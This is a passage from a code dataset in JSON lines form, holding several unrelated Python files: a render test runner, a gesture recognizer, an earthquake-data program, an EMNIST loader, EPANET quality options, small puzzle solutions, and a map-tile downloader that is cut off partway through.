os.path.pardir)\n)\nsys.path.append(ROOT_DIR)\nimport jobs_launcher.core.config as core_config\nimport jobs_launcher.core.system_info as system_info\n\nLOG = core_config.main_logger\n\n\n# Makes report and execute case\nclass Renderer:\n\n PLATFORM = None\n LOG = None\n TOOL = None\n ASSETS_PATH = None\n BASELINE_PATH = None\n PACKAGE = None\n COMMON_REPORT_PATH = None\n\n # case - render scenario; output_dir - output directory for report and images\n def __init__(self, case, output_dir, update_refs, res_x, res_y, retries):\n self.case = case\n self.output = output_dir\n self.update_refs = update_refs\n self.retries = retries\n self.scene_path = os.path.join(Renderer.ASSETS_PATH, Renderer.PACKAGE, case['case'], case['scene'])\n self.case_report_path = os.path.join(self.output, case['case'] + core_config.CASE_REPORT_SUFFIX)\n for d in ['Color', 'render_tool_logs']:\n Path(os.path.join(output_dir, d)).mkdir(parents=True, exist_ok=True)\n Renderer.COMMON_REPORT_PATH = os.path.join(output_dir, 'renderTool.log')\n self.width = res_x\n self.height = res_y\n if Renderer.TOOL is None or Renderer.ASSETS_PATH is None:\n raise Exception(\"Path to tool executable didn't set\")\n else:\n self.__prepare_report()\n\n # Copy baselines images to work dirs\n def __copy_baseline(self):\n # Get original baseline json report from assets folder\n orig_baselines_dir = os.path.join(Renderer.BASELINE_PATH, self.PACKAGE)\n orig_baseline_path = os.path.join(orig_baselines_dir, self.case['case'] + core_config.CASE_REPORT_SUFFIX)\n # Create dir for baselines json for current case group in Work/Baseline/group_name\n copied_baselines_dir = os.path.join(self.output, os.pardir, os.pardir, os.pardir, 'Baseline', self.PACKAGE)\n if not os.path.exists(copied_baselines_dir):\n os.makedirs(copied_baselines_dir)\n # Create dir for baselines images for current case group in Work/Baseline/group_name/Color\n os.makedirs(os.path.join(copied_baselines_dir, 'Color'))\n copied_baseline_path = os.path.join(copied_baselines_dir, self.case['case'] + core_config.CASE_REPORT_SUFFIX)\n try:\n copyfile(orig_baseline_path, copied_baseline_path)\n with open(os.path.join(copied_baseline_path)) as f:\n baseline_json = json.load(f)\n for thumb in [''] + core_config.THUMBNAIL_PREFIXES:\n orig_thumbnail = os.path.join(orig_baselines_dir, baseline_json[thumb + 'render_color_path'])\n copied_thumbnail = os.path.join(copied_baselines_dir, baseline_json[thumb + 'render_color_path'])\n if thumb + 'render_color_path' and os.path.exists(orig_thumbnail):\n copyfile(orig_thumbnail, copied_thumbnail)\n except Exception as e:\n LOG.error('Failed to copy baseline ' + repr(e) + ' from: ' + orig_baseline_path + ' to: ' + copied_baseline_path)\n\n # Creates stub image which will be replaced on success render\n def __copy_stub_image(self, status):\n try:\n root_dir_path = os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir, os.path.pardir))\n orig_stub_path = os.path.join(root_dir_path, 'jobs_launcher', 'common', 'img', status + '.png')\n copied_stub_path = os.path.join(self.output, 'Color', self.case['case'] + '.png')\n copyfile(orig_stub_path, copied_stub_path)\n except OSError or FileNotFoundError as e:\n LOG.error(\"Can't create img stub: \" + str(e))\n\n def __is_case_skipped(self):\n skip_pass = sum(set(Renderer.PLATFORM.values()) &\n set(skip_config) == set(skip_config) for skip_config in self.case.get('skip_on', ''))\n return True if (skip_pass or self.case['status'] == core_config.TEST_IGNORE_STATUS) else False\n\n def __get_tool_version(self):\n if Renderer.is_windows():\n return str(Renderer.TOOL).split(\"\\\\\")[-3]\n elif Renderer.is_macos():\n return str(Renderer.TOOL).split(\"/\")[3]\n else:\n return str(Renderer.TOOL).split(\"/\")[-3]\n\n def __prepare_report(self):\n skipped = core_config.TEST_IGNORE_STATUS\n if self.__is_case_skipped():\n self.case['status'] = skipped\n if 'frame' not in self.case:\n self.case['frame'] = 1\n report = core_config.RENDER_REPORT_BASE.copy()\n plugin_info = Renderer.PLATFORM['PLUGIN']\n report.update({\n 'test_case': self.case['case'],\n 'test_group': Renderer.PACKAGE,\n 'script_info': self.case['script_info'] if 'script_info' in self.case else [],\n 'render_device': Renderer.PLATFORM.get('GPU', 'Unknown'),\n 'scene_name': self.case['scene'],\n 'width': self.width,\n 'height': self.height,\n 'tool': self.__get_tool_version(),\n 'date_time': datetime.now().strftime('%m/%d/%Y %H:%M:%S'),\n 'file_name': self.case['case'] + self.case.get('extension', '.png'),\n 'render_color_path': os.path.join('Color', self.case['case'] + self.case.get('extension', '.png')),\n 'render_version': plugin_info['plugin_version'],\n 'core_version': plugin_info['core_version'],\n 'frame': self.case['frame']\n })\n if self.case['status'] == skipped:\n report['test_status'] = skipped\n report['group_timeout_exceeded'] = False\n self.__copy_stub_image(skipped)\n else:\n report['test_status'] = core_config.TEST_CRASH_STATUS\n self.__copy_stub_image('error')\n with open(self.case_report_path, 'w') as f:\n json.dump([report], f, indent=4)\n if 'Update' not in self.update_refs:\n self.__copy_baseline()\n\n def __complete_report(self, try_number):\n case_log_path = os.path.join('render_tool_logs', self.case['case'] + '.log')\n with open(Renderer.COMMON_REPORT_PATH, \"a\") as common_log:\n with open(case_log_path, 'r') as case_log:\n common_log.write(case_log.read())\n with open(self.case_report_path, 'r') as f:\n report = json.load(f)[0]\n if self.case['status'] == 'done' and os.path.isfile(report['render_color_path']):\n self.case['status'] = core_config.TEST_SUCCESS_STATUS\n with open(case_log_path, 'r') as f:\n tool_log = [line.strip() for line in f]\n for line in tool_log:\n if \"100% Lap=\" in line:\n time = datetime.strptime(line.split()[2].replace('Lap=', ''), '%H:%M:%S.%f')\n total_seconds = float(time.second + time.minute * 60 + time.hour * 3600) + (time.microsecond / 100000)\n report['render_time'] = total_seconds\n if 'Peak Memory Usage' in line: report[\"gpu_memory_max\"] = ' '.join(line.split()[-2:])\n if 'Current Memory Usage' in line: report[\"gpu_memory_usage\"] = ' '.join(line.split()[-2:])\n elif self.case['status'] == core_config.TEST_CRASH_STATUS:\n report['message'] = [\"Testcase wasn't executed successfully. Number of tries: \" + str(try_number)]\n report['render_log'] = case_log_path\n report['test_status'] = self.case['status']\n report['group_timeout_exceeded'] = self.case['group_timeout_exceeded']\n report['number_of_tries'] = try_number\n report['render_mode'] = 'GPU'\n with open(self.case_report_path, 'w') as f:\n json.dump([report], f, indent=4)\n\n def render(self):\n if self.case['status'] != core_config.TEST_IGNORE_STATUS:\n self.case['status'] = 'inprogress'\n cmd_template = '\"{tool}\" ' \\\n '\"{scene}\" ' \\\n '-R RPR -V 9 ' \\\n '-o \"{file}\" ' \\\n '{resolution}' \\\n '--frame {frame_number} ' \\\n '--append-stderr \"{log_file}\" --append-stdout \"{log_file}\"'\n shell_command = cmd_template.format(tool=Renderer.TOOL,\n scene=self.scene_path,\n file=(os.path.join('Color', self.case['case'] + '.png')),\n resolution=\"--res {} {} \".format(self.width, self.height) if int(self.width) > 0 and int(self.height) > 0 else \"\",\n log_file=os.path.join('render_tool_logs', self.case['case'] + '.log'),\n frame_number=self.case['frame'])\n # saving render command to script for debugging purpose\n shell_script_path = os.path.join(self.output, (self.case['case'] + '_render') + '.bat' if Renderer.is_windows() else '.sh')\n with open(shell_script_path, 'w') as f:\n f.write(shell_command)\n if not Renderer.is_windows():\n try:\n os.system('chmod +x ' + shell_script_path)\n except OSError as e:\n LOG.error('Error while setting right for script execution ' + str(e))\n os.chdir(self.output)\n def execute_task():\n p = subprocess.Popen(shell_script_path, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n try:\n p.communicate()\n return p.returncode\n except psutil.TimeoutExpired as e:\n LOG.error('Render has been aborted by timeout ', str(e))\n return 1\n success_flag = False\n try_number = 0\n while try_number < self.retries:\n try_number += 1\n rc = execute_task()\n LOG.info('Husk return code {}'.format(str(rc)))\n if rc == 0:\n success_flag = True\n break\n self.case['status'] = 'done' if success_flag else core_config.TEST_CRASH_STATUS\n self.case['group_timeout_exceeded'] = False\n test_cases_path = os.path.join(self.output, 'test_cases.json')\n with open(test_cases_path, 'r') as f:\n test_cases = json.load(f)\n for case in test_cases:\n if case['case'] == self.case['case']:\n case['status'] = self.case['status']\n with open(test_cases_path, 'w') as f:\n json.dump(test_cases, f, indent=4)\n self.__complete_report(try_number)\n\n\n @staticmethod\n def is_windows():\n return platform.system() == \"Windows\"\n\n @staticmethod\n def is_macos():\n return platform.system() == \"Darwin\"\n\n\n# Sets up the script parser\ndef create_parser():\n args = argparse.ArgumentParser()\n args.add_argument('--resolution_x', required=True, help='Width of image')\n args.add_argument('--resolution_y', required=True, help='Height of image')\n args.add_argument('--update_refs', required=True, help='Update or not references')\n args.add_argument('--tool', required=True, metavar='', help='Path to render executable file')\n args.add_argument('--res_path', required=True, help='Path to folder with scenes')\n args.add_argument('--output', required=True, metavar='', help='Path to folder where will be stored images and logs')\n args.add_argument('--test_cases', required=True, help='Path to json-file with test cases')\n args.add_argument('--package_name', required=True, help='Name of group of test cases')\n args.add_argument('--retries', required=False, default=2, type=int, help='The number of attempts to launch the case.')\n return args\n\n\n# Configure output_dir\ndef configure_output_dir(output, tests):\n try:\n os.makedirs(output)\n test_cases_path = os.path.realpath(os.path.join(os.path.abspath(output), 'test_cases.json'))\n copyfile(tests, test_cases_path)\n with open(test_cases_path, 'r') as f:\n test_cases = json.load(f)\n for case in test_cases:\n if 'status' not in case:\n case['status'] = 'active'\n with open(test_cases_path, 'w') as copied_file:\n json.dump(test_cases, copied_file, indent=4)\n LOG.info(\"Scenes to render: {}\".format([name['scene'] for name in test_cases]))\n return test_cases\n except OSError as e:\n LOG.error(\"Failed to read test_cases.json\")\n raise e\n except (SameFileError, IOError) as e:\n LOG.error(\"Can't copy test_cases.json\")\n raise e\n\n\ndef extract_plugin_versions():\n v = {\n 'core_version': '0',\n 'plugin_version': '0'\n }\n for dir in os.listdir(ROOT_DIR):\n if 'hdRpr' in dir and not \"tar.gz\" in dir:\n try:\n with open(os.path.join(ROOT_DIR, dir, 'version'), 'r') as f:\n raw = [line.strip().split(':') for line in f.readlines()]\n for r in raw:\n r[0] += '_version'\n r[1] = str(r[1])\n v = dict(raw)\n except FileNotFoundError as e:\n LOG.error(\"Can't find file with info about versions \" + repr(e))\n return v\n\n\ndef main():\n args = create_parser().parse_args()\n test_cases = []\n try:\n test_cases = configure_output_dir(args.output, args.test_cases)\n except Exception as e:\n LOG.error(repr(e))\n return 1\n # Defines the characteristics of machines which used to execute this script\n try:\n gpu = system_info.get_gpu()\n except:\n LOG.error(\"Can't get gpu name\")\n gpu = 'Unknown'\n Renderer.PLATFORM = {\n 'GPU': gpu,\n 'OS': platform.system(),\n 'PLUGIN': extract_plugin_versions()\n }\n Renderer.TOOL = args.tool\n Renderer.LOG = LOG\n Renderer.ASSETS_PATH = args.res_path\n Renderer.BASELINE_PATH = os.path.join(args.res_path, \"..\", \"rpr_houdini_autotests_baselines\")\n Renderer.PACKAGE = args.package_name\n [case.render() for case in\n [Renderer(case, args.output, args.update_refs, args.resolution_x, args.resolution_y, args.retries) for case in\n test_cases]\n ]\n return 0\n\n\nif __name__ == '__main__':\n exit(main())\n","sub_path":"jobs/Scripts/simpleRender.py","file_name":"simpleRender.py","file_ext":"py","file_size_in_byte":14769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"539663826","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nimport GestureAgentsTUIO.Tuio as Tuio\nfrom math import sqrt, fabs\nfrom GestureAgents.Recognizer import Recognizer, newHypothesis\nfrom GestureAgents.Events import Event\nfrom GestureAgents.Agent import Agent\n\n\nclass AgentStick(Agent):\n eventnames = (\"newStick\",)\n\n\nclass RecognizerStick (Recognizer):\n\n def __init__(self, system):\n Recognizer.__init__(self, system)\n self.finger = None\n self.cursorEvents = Tuio.TuioCursorEvents\n self.register_event(\n system.newAgent(self.cursorEvents), RecognizerStick.EventNewAgent)\n self.positions = []\n\n @newHypothesis\n def EventNewAgent(self, Cursor):\n if Cursor.recycled:\n self.fail(cause=\"Agent is recycled\")\n self.agent = AgentStick(self)\n self.agent.pos = Cursor.pos\n self.announce()\n self.unregister_all()\n self.register_event(\n Cursor.newCursor, RecognizerStick.EventNewCursor)\n\n def EventNewCursor(self, Cursor):\n #cursor is an Agent\n self.finger = Cursor\n self.positions.append(Cursor.pos)\n self.unregister_event(Cursor.newCursor)\n self.register_event(\n Cursor.updateCursor, RecognizerStick.EventMoveCursor)\n self.register_event(\n Cursor.removeCursor, RecognizerStick.EventRemoveCursor)\n #acquire should be the last thing to do\n self.acquire(Cursor)\n\n def EventMoveCursor(self, Cursor):\n self.positions.append(Cursor.pos)\n if not self.is_line():\n self.fail(cause=\"Is not line\")\n\n def is_line(self):\n first = self.positions[0]\n last = self.positions[-1]\n dist = sqrt((last[0] - first[0]) ** 2 + (last[1] - first[1]) ** 2)\n if dist < 50:\n return True\n maxdist = dist / 20.0\n for p in self.positions:\n d = self.pdis(first, last, p)\n if abs(d) > maxdist:\n return False\n return True\n\n def EventRemoveCursor(self, Cursor):\n self.unregister_event(Cursor.updateCursor)\n self.unregister_event(Cursor.removeCursor)\n first = self.positions[0]\n last = self.positions[-1]\n dist = sqrt((last[0] - first[0]) ** 2 + (last[1] - first[1]) ** 2)\n if self.is_line() and dist > 30:\n self.complete()\n else:\n self.fail(cause=\"Is not line\")\n\n def duplicate(self):\n d = self.get_copy(self.system)\n d.finger = self.finger\n d.positions = list(self.positions)\n return d\n\n def execute(self):\n self.agent.pos1 = self.positions[0]\n self.agent.pos2 = self.positions[-1]\n\n self.agent.newStick.call(self.agent)\n self.finish()\n\n @staticmethod\n def pdis(a, b, c):\n t = b[0] - a[0], b[1] - a[1] # Vector ab\n dd = sqrt(t[0] ** 2 + t[1] ** 2) # Length of ab\n t = t[0] / dd, t[1] / dd # unit vector of ab\n n = -t[1], t[0] # normal unit vector to ab\n ac = c[0] - a[0], c[1] - a[1] # vector ac\n return fabs(ac[0] * n[0] + ac[1] * n[1]) # Projection of ac to n (the minimum distance)\n\n\n","sub_path":"GestureAgentsTUIO/Gestures2D/RecognizerStick.py","file_name":"RecognizerStick.py","file_ext":"py","file_size_in_byte":3212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"79869052","text":"# Project 5 - Earthquakes\n#\n# Name: Taylor Morris\n# Instructor: Brian Jones\n# Section 17\n\nfrom quake_funcs import *\nfrom operator import attrgetter\n\n\ndef printing(quakes):\n print(\"Earthquakes:\\n------------\")\n\n for quake in quakes:\n print(\"({:.2f}) {:>40} {:s} at ({:8.3f}, {:8.3f})\".format(quake.mag, quake.place, \n time_to_str(quake.time), quake.longitude, quake.latitude))\n print()\n\ndef write_to_file(quakes, quakes_file):\n out_file = open(quakes_file, 'w')\n for quake in quakes:\n out_file.write(\"{:f} {:f} {:f} {:d} {:s}\\n\".format(quake.mag, quake.longitude, quake.latitude, quake.time, quake.place))\n\n \n\ndef main():\n option = \"\"\n quakes = read_quakes_from_file(\"quakes.txt\")\n printing(quakes)\n\n\n while option != \"q\" and option != \"Q\":\n option = input(\"Options:\\n (s)ort\\n (f)ilter\\n (n)ew quakes\\n (q)uit\\n\\nChoice: \")\n\n if option == \"s\" or option == \"S\":\n sort_by = input(\"Sort by (m)agnitude, (t)ime, (l)ongtide, or l(a)titude? \")\n\n if sort_by == \"m\" or sort_by == \"M\":\n quakes.sort(key=attrgetter('mag'), reverse=True)\n print()\n printing(quakes) \n elif sort_by == \"t\" or sort_by == \"T\":\n quakes.sort(key=attrgetter(\"time\"), reverse=True)\n print()\n printing(quakes)\n elif sort_by == \"l\" or sort_by == \"L\":\n quakes.sort(key=attrgetter(\"longitude\"))\n print()\n printing(quakes)\n elif sort_by == \"a\" or sort_by == \"A\":\n quakes.sort(key=attrgetter(\"latitude\"))\n print()\n printing(quakes)\n\n elif option == \"f\" or option == \"F\":\n filter_by = input(\"Filter by (m)agnitude or (p)lace? \")\n\n if filter_by == \"m\" or filter_by == \"M\":\n lower = float(input(\"Lower bound: \"))\n upper = float(input(\"Upper bound: \"))\n filtered = filter_by_mag(quakes, lower, upper)\n print()\n printing(filtered)\n\n elif filter_by == \"p\" or filter_by == \"P\":\n string = input(\"Search for what string? \")\n filtered = filter_by_place(quakes, string)\n print()\n printing(filtered)\n\n elif option == \"n\" or option == \"N\":\n quakes_dict = get_json(\"http://earthquake.usgs.gov/earthquakes/feed/v1.0/summary/1.0_hour.geojson\")\n found = False\n for feature in quakes_dict[\"features\"]:\n if quake_from_feature(feature) not in quakes:\n quakes.append(quake_from_feature(feature))\n found = True\n\n if found == True:\n print(\"New quakes found!!!\")\n print()\n printing(quakes) \n\n elif option == \"q\" or option == \"Q\":\n write_to_file(quakes, \"saved_quakes.txt\")\n \n \n \n\n\n \n\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"quakes.py","file_name":"quakes.py","file_ext":"py","file_size_in_byte":2878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"502312339","text":"cus = [int(i) for i in input().split(',')]\ngru = [int(i) for i in input().split(',')]\nx = int(input())\nout = 0\nfor i in range(len(gru)-x+1):\n temp = 0\n for j in range(len(gru)):\n if(i<=j and j<=i+x-1):\n temp+=cus[j]*1\n else:temp+=cus[j]*gru[j]\n out = max(temp,out)\nprint(out)","sub_path":"Code/CodeRecords/2643/60642/316058.py","file_name":"316058.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"33574205","text":"import os\nimport struct\nimport numpy as np\nimport matplotlib.pyplot as plt\n# from PIL import Image\n\nimport tensorflow as tf\nimport cv2\n\naph = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']\n\ndef load_emnist_image(path, imagefilename, labelfilename, type = 'train', batch_size=64):\n\n image_full_name = os.path.join(path, imagefilename)\n label_full_name = os.path.join(path, labelfilename)\n fp1 = open(image_full_name, 'rb')\n fp2 = open(label_full_name, 'rb')\n buf1 = fp1.read()\n buf2 = fp2.read()\n\n # 处理labels\n index = 0;\n magic, num = struct.unpack_from('>II', buf2, index)\n index += struct.calcsize('>II')\n labels = []\n\n for i in range(num):\n l = int(struct.unpack_from('>B',buf2, index)[0])\n labels.append(l)\n index += struct.calcsize('>B')\n \n\n # 处理images\n index = 0;\n magic_image, num_image, rows_image, cols_image = struct.unpack_from('>IIII', buf1, index)\n magic, num = struct.unpack_from('>II', buf1, index)\n index += struct.calcsize('>IIII')\n images = []\n\n for image in range(0, num):\n im = struct.unpack_from('>784B', buf1, index)\n index += struct.calcsize('>784B')\n im = np.array(im, dtype = 'uint8')\n im = im.reshape(28, 28)\n im_rot90 = np.rot90(im, -1)\n im_mirror = np.fliplr(im_rot90)\n # im_mirror = Image.fromarray(im_mirror)\n images.append(im_mirror)\n # if (type == 'train'):\n # print(image)\n # im_mirror.save(\"/home/rinz/Documents/buysell/read_picture/handwriting/datasets/rawdata/aa/train_{a}_{b}.png\".format(a=aph[int(labels[image])-1], b=image), 'png')\n # if (type == 'test'):\n # im_mirror.save('/home/rinz/Documents/buysell/read_picture/handwriting/datasets/rawdata/bb/test_%s.png' %image, 'png')\n\n # 构建dataset\n def _fixed_sides_resize(image, output_height, output_width):\n \"\"\"Resize images by fixed sides.\n\n Args:\n image: A 3-D image `Tensor`.\n output_height: The height of the image after preprocessing.\n output_width: The width of the image after preprocessing.\n\n Returns:\n resized_image: A 3-D tensor containing the resized image.\n \"\"\"\n output_height = tf.convert_to_tensor(output_height, dtype=tf.int32)\n output_width = tf.convert_to_tensor(output_width, dtype=tf.int32)\n\n image = tf.expand_dims(image, 0)\n # resized_image = tf.image.resize_nearest_neighbor(\n # image, [output_height, output_width], align_corners=False) # 返回[batch, height, width, channels]\n resized_image = tf.image.resize_images(\n image, [output_height, output_width], method=0)\n resized_image = tf.squeeze(resized_image, 0) # 去掉batch,留下[224, 224, 1]\n resized_image = tf.concat([resized_image, resized_image, resized_image], -1) # 单通道叠到3通道\n # resized_image = tf.expand_dims(resized_image, 2)\n # resized_image.set_shape([None, None, 1])\n return resized_image\n\n def _parse_function(image, label):\n img = tf.reshape(image, [28, 28, 1])\n image_raw = _fixed_sides_resize(img, 224, 224)\n return tf.to_float(image_raw), label-1\n\n images_array = np.array(images)\n dataset = tf.data.Dataset.from_tensor_slices((images_array, labels))\n dataset = dataset.map(_parse_function)\n if type == 'train':\n dataset = dataset.repeat(10)\n # dataset = dataset.batch(64)\n dataset = dataset.apply(tf.contrib.data.batch_and_drop_remainder(batch_size))\n\n return dataset\n# iterator = dataset.make_one_shot_iterator()\n# image, label = iterator.get_next()\n# return image, label\n\n\n# with tf.Session() as sess:\n# sess.run(tf.global_variables_initializer())\n\n# path = '/tf/handwriting/datasets/'\n# train_images = 'emnist-letters-train-images-idx3-ubyte'\n# train_labels = 'emnist-letters-train-labels-idx1-ubyte'\n\n# reshaped_image = load_emnist_image(path, train_images, train_labels)\n\n# for i in range(1):\n# # 每次sess.run(reshaped_image),都会取出一张图片\n# imgs, labels = sess.run(reshaped_image)\n# # print(labels)\n# # print('--------------------------------')\n# # labels_max = tf.reduce_max(labels)\n# # if(sess.run(labels_max) > 26):\n# # print('bad')\n# # print('--------------------------------')\n# index=0\n# print(len(imgs))\n# print(\"------start-------\")\n# for img in imgs:\n# print(labels[index])\n# # print(img)\n# cv2.imwrite(\"/tf/handwriting/datasets/rawdata/raw_test/train_{a}_{b}.png\".format(\n# a = aph[labels[index]], b = index), img)\n# index += 1","sub_path":"read_picture/handwriting/input_data.py","file_name":"input_data.py","file_ext":"py","file_size_in_byte":4881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"310965706","text":"from enum import Enum\n\nfrom core.inputfile import Section\n\n\nclass QualityAnalysisType(Enum):\n \"\"\"Type of Water Quality Analysis\"\"\"\n NONE = 1\n CHEMICAL = 2\n AGE = 3\n TRACE = 4\n\n\nclass QualityOptions(Section):\n \"\"\"EPANET Quality Options\"\"\"\n\n SECTION_NAME = \"[OPTIONS]\"\n\n field_format = \" {:20}\\t{}\\n\"\n\n def __init__(self):\n Section.__init__(self)\n\n self.quality = QualityAnalysisType.NONE\n \"\"\"Type of water quality analysis to perform\"\"\"\n\n self.chemical_name = \"\"\n \"\"\"Name of chemical to be analyzed in quality section\"\"\"\n\n self.mass_units = \"\"\n \"\"\"Units of chemical to be analyzed in quality section\"\"\"\n\n self.diffusivity = 1.0\n \"\"\"Molecular diffusivity of the chemical being analyzed relative to that of chlorine in water\"\"\"\n\n self.trace_node = \"\"\n \"\"\"Node id to use in a quality trace\"\"\"\n\n self.tolerance = 0.0\n \"\"\"Difference in water quality level below one parcel of water is essentially the same as another\"\"\"\n\n def get_text(self):\n \"\"\"Contents of this item formatted for writing to file\"\"\"\n txt = \" Quality \\t\"\n if self.quality is None or self.quality == QualityAnalysisType.NONE:\n txt = \"\"\n elif self.quality == QualityAnalysisType.AGE:\n txt += \"AGE\"\n elif self.quality == QualityAnalysisType.TRACE:\n txt += \"Trace\"\n if self.trace_node:\n txt += \" \" + self.trace_node\n elif self.quality == QualityAnalysisType.CHEMICAL:\n if self.chemical_name:\n txt += self.chemical_name\n else:\n txt += \"CHEMICAL\"\n if txt and self.mass_units:\n txt += \" \" + self.mass_units\n if txt:\n txt += \"\\n\"\n txt += self.field_format.format(\"Diffusivity\", str(self.diffusivity))\n txt += self.field_format.format(\"Tolerance\", str(self.tolerance))\n return txt\n\n def set_text(self, new_text):\n \"\"\"Read properties from text.\n Args:\n new_text (str): Text to parse into properties.\n \"\"\"\n self.quality = QualityAnalysisType.NONE # default to NONE until found below\n self.chemical_name = \"\"\n self.mass_units = \"\"\n self.trace_node = \"\"\n\n for line in new_text.splitlines():\n line_list = line.split()\n if line_list:\n if str(line_list[0]).strip().upper() == \"QUALITY\":\n quality_type = str(line_list[1]).strip().upper()\n try:\n self.quality = QualityAnalysisType[quality_type]\n except:\n self.quality = QualityAnalysisType.CHEMICAL\n self.chemical_name = str(line_list[1])\n if self.quality == QualityAnalysisType.TRACE:\n self.trace_node = line_list[2]\n elif len(line_list) > 2:\n self.mass_units = line_list[2]\n elif str(line_list[0]).strip().upper() == \"DIFFUSIVITY\":\n self.diffusivity = float(line_list[1])\n elif str(line_list[0]).strip().upper() == \"TOLERANCE\":\n self.tolerance = float(line_list[1])\n","sub_path":"src/core/epanet/options/quality.py","file_name":"quality.py","file_ext":"py","file_size_in_byte":3297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"474778179","text":"from sys import stdin\n\ndef main():\n noFirst = False\n while True:\n try:\n n = int(input())\n except:\n break\n if noFirst:\n print()\n noFirst=True\n gainLoss=[]\n toPosition={}\n #register people\n personNames=input().split()\n for i,personName in enumerate(personNames):\n gainLoss.append(0)\n toPosition[personName]=i\n #simulate\n for _ in range(0,n):\n tk = input().split()\n person,money,numberOfGifts = tk[0],int(tk[1]),int(tk[2])\n evenMoney = money//numberOfGifts if numberOfGifts!=0 else 0\n position = toPosition[person]\n gainLoss[position]+=-evenMoney*numberOfGifts\n for j in range(0,numberOfGifts):\n gainLoss[toPosition[tk[3+j]]]+=evenMoney\n for personName,gainLossI in zip(personNames,gainLoss):\n print(str(personName)+\" \"+str(gainLossI))\nmain()","sub_path":"Section 1.3.3/119 - Greedy Gift Givers/Python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"344759816","text":"'''\r\npygetmap:\r\n\r\nDownload web map by cooridinates\r\n\r\n'''\r\n\r\n#Longitude 经度\r\n#Latitude 纬度\r\n#Mecator x = y = [-20037508.3427892,20037508.3427892]\r\n#Mecator Latitue = [-85.05112877980659,85.05112877980659]\r\n\r\n\r\nfrom math import floor,pi,log,tan,atan,exp\r\nimport urllib.request as ur\r\nimport PIL.Image as pil\r\nimport io, asyncio\r\n\r\nHEADERS = 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36'\r\n\r\nMAP_URLS={\r\n\"google\":{\"domain\":\"mt2.google.cn\",\"url\":\"/vt/lyrs={style}&hl=zh-CN&gl=CN&src=app&x={x}&y={y}&z={z}\"},\r\n\"amap\":{\"domain\":\"wprd02.is.autonavi.com\",\"url\":\"/appmaptile?style={style}&x={x}&y={y}&z={z}\"},\r\n\"tencent_s\":{\"domain\":\"p3.map.gtimg.com\",\"url\":\"/sateTiles/{z}/{fx}/{fy}/{x}_{y}.jpg\"},\r\n\"tencent_m\":{\"domain\":\"rt0.map.gtimg.com\",\"url\":\"/tile?z={z}&x={x}&y={y}&styleid=3\" }}\r\n\r\nEXIT = False\r\n\r\ndef geturl(source,x,y,z,style):\r\n '''\r\n Get the picture url for download.\r\n style:\r\n m for map\r\n s for satellite\r\n source:\r\n goole or amap or tencent\r\n x y:\r\n google-style tile coordinate system\r\n z:\r\n zoom \r\n '''\r\n if source == 'google':\r\n furl=MAP_URLS[\"google\"][\"url\"].format(x=x,y=y,z=z,style=style)\r\n elif source == 'amap':\r\n style=6 if style=='s' else 7 # for amap 6 is satellite and 7 is map.\r\n furl=MAP_URLS[\"amap\"][\"url\"].format(x=x,y=y,z=z,style=style)\r\n elif source == 'tencent':\r\n y=2**z-1-y\r\n if style == 's':\r\n furl=MAP_URLS[\"tencent_s\"][\"url\"].format(x=x,y=y,z=z,fx=floor(x/16),fy=floor(y/16))\r\n else:\r\n furl=MAP_URLS[\"tencent_m\"][\"url\"].format(x=x,y=y,z=z)\r\n else:\r\n raise Exception(\"Unknown Map Source ! \")\r\n\r\n return furl\r\n\r\ndef getdomain(source,style):\r\n if source == 'tencent':\r\n if style == \"s\":\r\n return MAP_URLS[\"tencent_s\"][\"domain\"]\r\n else:\r\n return MAP_URLS[\"tencent_m\"][\"domain\"]\r\n elif source == \"amap\" or source == \"google\":\r\n return MAP_URLS[source][\"domain\"]\r\n else:\r\n raise Exception(\"Unkonwn Map Source ! \")\r\n\r\n\r\n#WGS-84经纬度转Web墨卡托\r\ndef wgs2macator(x,y):\r\n y = 85.0511287798 if y > 85.0511287798 else y\r\n y = -85.0511287798 if y < -85.0511287798 else y\r\n\r\n x2 = x * 20037508.34 / 180\r\n y2 = log(tan((90+y)*pi/360))/(pi/180)\r\n y2 = y2*20037508.34/180\r\n return x2, y2\r\n\r\n#Web墨卡托转经纬度\r\ndef mecator2wgs(x,y):\r\n x2 = x / 20037508.34 * 180\r\n y2 = y / 20037508.34 * 180\r\n y2= 180/pi*(2*atan(exp(y2*pi/180))-pi/2)\r\n return x2,y2\r\n\r\n\r\n'''\r\n东经为正,西经为负。北纬为正,南纬为负\r\nj经度 w纬度 z缩放比例[0-22] ,对于卫星图并不能取到最大,测试值是20最大,再大会返回404.\r\n'''\r\n# 根据WGS-84 的经纬度获取谷歌地图中的瓦片坐标\r\ndef getpos(j,w,z):\r\n '''\r\n Get google-style tile cooridinate from geographical coordinate\r\n j : Longittude\r\n w : Latitude\r\n z : zoom\r\n '''\r\n isnum=lambda x: isinstance(x,int) or isinstance(x,float)\r\n if not(isnum(j) and isnum(w)):\r\n raise TypeError(\"j and w must be int or float!\")\r\n return None\r\n\r\n if not isinstance(z,int) or z<0 or z>22:\r\n raise TypeError(\"z must be int and between 0 to 22.\")\r\n return None\r\n\r\n if j<0:\r\n j=180+j\r\n else:\r\n j+=180\r\n j/=360 # make j to (0,1)\r\n\r\n w=85.0511287798 if w>85.0511287798 else w\r\n w=-85.0511287798 if w<-85.0511287798 else w\r\n w=log(tan((90+w)*pi/360))/(pi/180)\r\n w/=180 # make w to (-1,1)\r\n 